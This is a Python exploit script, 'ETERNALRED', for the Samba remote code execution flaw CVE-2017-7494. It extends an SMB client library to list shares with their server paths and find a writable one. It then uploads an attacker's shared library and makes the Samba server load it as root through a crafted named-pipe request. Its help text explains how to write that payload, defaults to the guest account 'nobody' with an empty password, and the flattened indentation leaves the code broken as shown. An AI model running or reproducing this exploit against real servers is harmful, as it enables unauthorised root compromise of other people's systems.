# Title : ETERNALRED
# Date: 05/24/2017
# Exploit Author: steelo <[email protected]>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494
import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *
class SharedDevice2(SharedDevice):
def __init__(self, type, name, comments, path, password):
super().__init__(type, name, comments)
self.path = path
self.password = password
class SMBConnectionEx(SMBConnection):
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
def hook_listShares(self):
self._listShares = self.listSharesEx
def hook_retrieveFile(self):
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
# This is maily the original listShares but request a higher level of info
def listSharesEx(self, callback, errback, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')
expiry_time = time.time() + timeout
path = 'IPC$'
messages_history = [ ]
def connectSrvSvc(tid):
m = SMB2Message(SMB2CreateRequest('srvsvc',
file_attributes = 0,
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
oplock = SMB2_OPLOCK_LEVEL_NONE,
impersonation = SEC_IMPERSONATE,
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
create_disp = FILE_OPEN))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
messages_history.append(m)
def connectSrvSvcCB(create_message, **kwargs):
messages_history.append(create_message)
if create_message.status == 0:
call_id = self._getNextRPCCallID()
# The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
struct.pack('<I', call_id) + \
binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
m.tid = create_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
messages_history.append(m)
else:
errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))
def rpcBindCB(trans_message, **kwargs):
messages_history.append(trans_message)
if trans_message.status == 0:
m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
m.tid = trans_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')
def rpcReadCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
call_id = self._getNextRPCCallID()
padding = b''
remote_name = '\\\\' + self.remote_name
server_len = len(remote_name) + 1
server_bytes_len = server_len * 2
if server_len % 2 != 0:
padding = b'\0\0'
server_bytes_len += 2
# The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
struct.pack('<III', server_len, 0, server_len) + \
(remote_name + '\0').encode('UTF-16LE') + padding + \
binascii.unhexlify(b"""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
m.tid = read_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')
def listShareResultsCB(result_message, **kwargs):
messages_history.append(result_message)
if result_message.status == 0:
# The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
data_bytes = result_message.payload.out_data
if data_bytes[3] & 0x02 == 0:
sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
else:
decodeResults(result_message.tid, kwargs['fid'], data_bytes)
elif result_message.status == 0x0103: # STATUS_PENDING
self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
else:
closeFid(result_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
def decodeResults(tid, fid, data_bytes):
shares_count = struct.unpack('<I', data_bytes[36:40])[0]
results = [ ] # A list of SharedDevice2 instances
offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants
for i in range(0, shares_count):
results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
offset += 12
for i in range(0, shares_count):
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
closeFid(tid, fid)
callback(results)
def sendReadRequest(tid, fid, data_bytes):
read_count = min(4280, self.max_read_size)
m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
fid = fid, data_bytes = data_bytes)
def readCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
data_len = read_message.payload.data_length
data_bytes = read_message.payload.data
if data_bytes[3] & 0x02 == 0:
sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
def closeFid(tid, fid, results = None, error = None):
m = SMB2Message(SMB2CloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
messages_history.append(m)
def closeCB(close_message, **kwargs):
if kwargs['results'] is not None:
callback(kwargs['results'])
elif kwargs['error'] is not None:
errback(OperationFailure(kwargs['error'], messages_history))
if path not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if connect_message.status == 0:
self.connected_trees[path] = connect_message.tid
connectSrvSvc(connect_message.tid)
else:
errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))
m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
messages_history.append(m)
else:
connectSrvSvc(self.connected_trees[path])
# Don't convert to Window style path
def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')
messages_history = [ ]
def sendOpen(tid):
m = SMBMessage(ComOpenAndxRequest(filename = path,
access_mode = 0x0040, # Sharing mode: Deny nothing to others
open_mode = 0x0001, # Failed if file does not exist
search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
timeout = timeout * 1000))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
messages_history.append(m)
def openCB(open_message, **kwargs):
messages_history.append(open_message)
if not open_message.status.hasError:
if max_length == 0:
closeFid(open_message.tid, open_message.payload.fid)
callback(( file_obj, open_message.payload.file_attributes, 0 ))
else:
sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))
def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
read_count = self.max_raw_size - 2
m = SMBMessage(ComReadAndxRequest(fid = fid,
offset = offset,
max_return_bytes_count = read_count,
min_return_bytes_count = min(0xFFFF, read_count)))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
read_len = read_len, remaining_len = remaining_len)
def readCB(read_message, **kwargs):
# To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
if not read_message.status.hasError:
read_len = kwargs['read_len']
remaining_len = kwargs['remaining_len']
data_len = read_message.payload.data_length
if max_length > 0:
if data_len > remaining_len:
file_obj.write(read_message.payload.data[:remaining_len])
read_len += remaining_len
remaining_len = 0
else:
file_obj.write(read_message.payload.data)
remaining_len -= data_len
read_len += data_len
else:
file_obj.write(read_message.payload.data)
read_len += data_len
if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
closeFid(read_message.tid, kwargs['fid'])
callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements
else:
sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
else:
messages_history.append(read_message)
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))
def closeFid(tid, fid):
m = SMBMessage(ComCloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
messages_history.append(m)
if service_name not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if not connect_message.status.hasError:
self.connected_trees[service_name] = connect_message.tid
sendOpen(connect_message.tid)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))
m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
messages_history.append(m)
else:
sendOpen(self.connected_trees[service_name])
def get_connection(user, password, server, port, force_smb1=False):
if force_smb1:
smb_structs.SUPPORT_SMB2 = False
conn = SMBConnectionEx(user, password, "", "server")
assert conn.connect(server, port)
return conn
def get_share_info(conn):
conn.hook_listShares()
return conn.listShares()
def find_writeable_share(conn, shares):
print("[+] Searching for writable share")
filename = "red"
test_file = tempfile.TemporaryFile()
for share in shares:
try:
# If it's not writeable this will throw
conn.storeFile(share.name, filename, test_file)
conn.deleteFiles(share.name, filename)
print("[+] Found writeable share: " + share.name)
return share
except:
pass
return None
def write_payload(conn, share, payload, payload_name):
with open(payload, "rb") as fin:
conn.storeFile(share.name, payload_name, fin)
return True
def convert_share_path(share):
path = share.path[2:]
path = path.replace("\\", "/")
return path
def load_payload(user, password, server, port, fullpath):
conn = get_connection(user, password, server, port, force_smb1 = True)
conn.hook_retrieveFile()
print("[+] Attempting to load payload")
temp_file = tempfile.TemporaryFile()
try:
conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
except:
pass
return
def drop_payload(user, password, server, port, payload):
payload_name = "charizard"
conn = get_connection(user, password, server, port)
shares = get_share_info(conn)
share = find_writeable_share(conn, shares)
if share is None:
print("[!] No writeable shares on " + server + " for user: " + user)
sys.exit(-1)
if not write_payload(conn, share, payload, payload_name):
print("[!] Failed to write payload: " + str(payload) + " to server")
sys.exit(-1)
conn.close()
fullpath = convert_share_path(share)
return os.path.join(fullpath, payload_name)
def main():
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
description= """Eternal Red Samba Exploit -- CVE-2017-7494
Causes vulnerable Samba server to load a shared library in root context
Credentials are not required if the server has a guest account
For remote exploit you must have write permissions to at least one share
Eternal Red will scan the Samba server for shares it can write to
It will also determine the fullpath of the remote share
For local exploit provide the full path to your shared library to load
Your shared library should look something like this
extern bool change_to_root_user(void);
int samba_init_module(void)
{
change_to_root_user();
/* Do what thou wilt */
}
""")
parser.add_argument("payload", help="path to shared library to load", type=str)
parser.add_argument("server", help="Server to target", type=str)
parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
parser.add_argument("--password", help="Password for user default is empty", type=str)
parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
args = parser.parse_args()
if not os.path.isfile(args.payload):
print("[!] Unable to open: " + args.payload)
sys.exit(-1)
port = 445
user = "nobody"
password = ""
fullpath = ""
if args.port:
port = args.port
if args.username:
user = args.username
if args.password:
password = args.password
if args.local:
fullpath = args.payload
else:
fullpath = drop_payload(user, password, args.server, port, args.payload)
load_payload(user, password, args.server, port, fullpath)
if __name__ == "__main__":
main()
